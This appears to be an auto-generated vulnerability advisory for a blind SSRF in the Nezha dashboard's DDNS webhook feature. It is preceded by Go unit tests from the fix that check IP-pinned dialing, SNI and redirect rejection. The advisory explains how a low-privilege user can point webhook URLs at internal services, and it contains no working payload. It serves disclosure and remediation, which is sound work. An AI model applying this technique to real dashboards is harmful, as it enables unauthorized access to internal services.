    +	// the SNI preservation path without depending on live DNS in unit tests.
    +	parsed, err := url.Parse("https://example.com/webhook")
    +	if err != nil {
    +		t.Fatalf("parse url: %v", err)
    +	}
    +	pinnedIP := net.ParseIP("1.1.1.1")
    +	if pinnedIP == nil {
    +		t.Fatalf("expected valid pinned IP")
    +	}
    +
    +	client := buildRestrictedHTTPClient(parsed, pinnedIP, false)
    +	transport, ok := client.Transport.(*http.Transport)
    +	if !ok {
    +		t.Fatalf("expected *http.Transport, got %T", client.Transport)
    +	}
    +	if transport.TLSClientConfig == nil {
    +		t.Fatalf("expected TLSClientConfig to be set")
    +	}
    +	// SNI must come from the original URL hostname so the certificate validates
    +	// the intended hostname, not the pinned dial IP.
    +	if got := transport.TLSClientConfig.ServerName; got != "example.com" {
    +		t.Fatalf("expected ServerName example.com, got %q", got)
    +	}
    +	if transport.TLSClientConfig.ServerName == pinnedIP.String() {
    +		t.Fatalf("ServerName must not be the pinned IP, got %q", transport.TLSClientConfig.ServerName)
    +	}
    +	if transport.TLSClientConfig.InsecureSkipVerify {
    +		t.Fatalf("expected verifyTLS path (InsecureSkipVerify=false)")
    +	}
    +}
    +
    +func TestBuildRestrictedHTTPClientHonorsSkipVerifyTLS(t *testing.T) {
    +	parsed, _ := url.Parse("https://example.com/webhook")
    +	client := buildRestrictedHTTPClient(parsed, net.ParseIP("1.1.1.1"), true)
    +	transport := client.Transport.(*http.Transport)
    +	if !transport.TLSClientConfig.InsecureSkipVerify {
    +		t.Fatalf("expected InsecureSkipVerify=true when skipVerifyTLS=true")
    +	}
    +}
    +
    +func TestBuildRestrictedHTTPClientRejectsRedirects(t *testing.T) {
    +	parsed, _ := url.Parse("https://example.com/start")
    +	client := buildRestrictedHTTPClient(parsed, net.ParseIP("1.1.1.1"), false)
    +	req, err := http.NewRequest(http.MethodGet, "https://example.com/start", nil)
    +	if err != nil {
    +		t.Fatalf("new request: %v", err)
    +	}
    +	if err := client.CheckRedirect(req, []*http.Request{req}); err != http.ErrUseLastResponse {
    +		t.Fatalf("expected ErrUseLastResponse, got %v", err)
    +	}
    +}
    +
    +// TestBuildRestrictedHTTPClientPinsDialToVettedIP confirms DialContext routes
    +// to the pinned IP even when the request URL uses a different hostname,
    +// preventing DNS rebinding from retargeting traffic.
    +func TestBuildRestrictedHTTPClientPinsDialToVettedIP(t *testing.T) {
    +	listener, err := net.Listen("tcp", "127.0.0.1:0")
    +	if err != nil {
    +		t.Fatalf("listen: %v", err)
    +	}
    +	defer listener.Close()
    +	_, port, err := net.SplitHostPort(listener.Addr().String())
    +	if err != nil {
    +		t.Fatalf("split host port: %v", err)
    +	}
    +
    +	accepted := make(chan string, 1)
    +	go func() {
    +		conn, err := listener.Accept()
    +		if err != nil {
    +			accepted <- ""
    +			return
    +		}
    +		accepted <- conn.LocalAddr().String()
    +		conn.Close()
    +	}()
    +
    +	requestURL := "http://example.com:" + port + "/"
    +	parsed, _ := url.Parse(requestURL)
    +	pinned := net.ParseIP("127.0.0.1")
    +	client := buildRestrictedHTTPClient(parsed, pinned, false)
    +	client.Timeout = 2 * time.Second
    +
    +	req, _ := http.NewRequest(http.MethodGet, requestURL, nil)
    +	resp, _ := client.Do(req)
    +	if resp != nil {
    +		resp.Body.Close()
    +	}
    +
    +	select {
    +	case addr := <-accepted:
    +		if addr == "" {
    +			t.Fatalf("listener accept failed")
    +		}
    +	case <-time.After(2 * time.Second):
    +		t.Fatalf("expected dial to reach pinned IP 127.0.0.1:%s, listener did not accept", port)
    +	}
    +}
    

Vulnerability mechanics

Root cause

"Missing SSRF validation in the DDNS webhook provider allows an authenticated user to make the dashboard host issue arbitrary HTTP requests to internal or loopback services."

Attack vector

An authenticated low-privilege Nezha dashboard user creates or updates a DDNS profile with provider `webhook` and sets an arbitrary `webhook_url` pointing to a loopback or internal network address [ref_id=1]. When DDNS is triggered for a server using that profile (e.g., on agent IP change or server update), the dashboard process sends the attacker-controlled HTTP request using the unrestricted `utils.HttpClient` [ref_id=2]. The attacker controls the HTTP method, URL path/query, headers, and request body. The response body is not returned, making this a blind SSRF / internal state-changing request primitive.

Affected code

The vulnerability resides in the DDNS webhook provider (`pkg/ddns/webhook/webhook.go`) which used the unrestricted `utils.HttpClient` to dispatch requests to attacker-controlled URLs. The create/update handlers in `cmd/dashboard/controller/ddns.go` and the model definitions in `model/ddns.go` and `model/ddns_api.go` store attacker-supplied `WebhookURL`, `WebhookMethod`, `WebhookRequestBody`, and `WebhookHeaders` without validation. The notification system already had SSRF defenses in `model/notification.go` (blocked CIDRs, IP-pinned dial, redirect rejection), but these were not applied to the DDNS webhook path.

What the fix does

The patch extracts the existing notification SSRF defenses (CIDR blocklist, IP-pinned `DialContext`, SNI preservation, redirect rejection) from `model/notification.go` into reusable helpers in `pkg/utils/http.go` (`NewRestrictedHTTPClient` / `ResolveAllowedHTTPURL` / `buildRestrictedHTTPClient`) [patch_id=3130366]. The DDNS webhook provider's `prepareRequest` now calls `utils.NewRestrictedHTTPClient` instead of using the unrestricted `utils.HttpClient`, and returns the paired client so the dialer's pinned IP and the validated URL stay in sync. The notification wrapper is replaced with a thin call to the same shared helpers, keeping its behavior identical.

Preconditions

  • authThe attacker must have an authenticated dashboard user account (not necessarily administrator).
  • configThe attacker must control an owned server and an owned DDNS profile with provider set to 'webhook'.
  • networkThe attacker must be able to reach the Nezha dashboard API endpoints (GET/POST/PATCH /api/v1/ddns).
  • inputThe attacker supplies a webhook_url pointing to a loopback or internal network address, along with desired method, headers, and body.

Generated on May 29, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

2

News mentions

0

No linked articles in our index yet.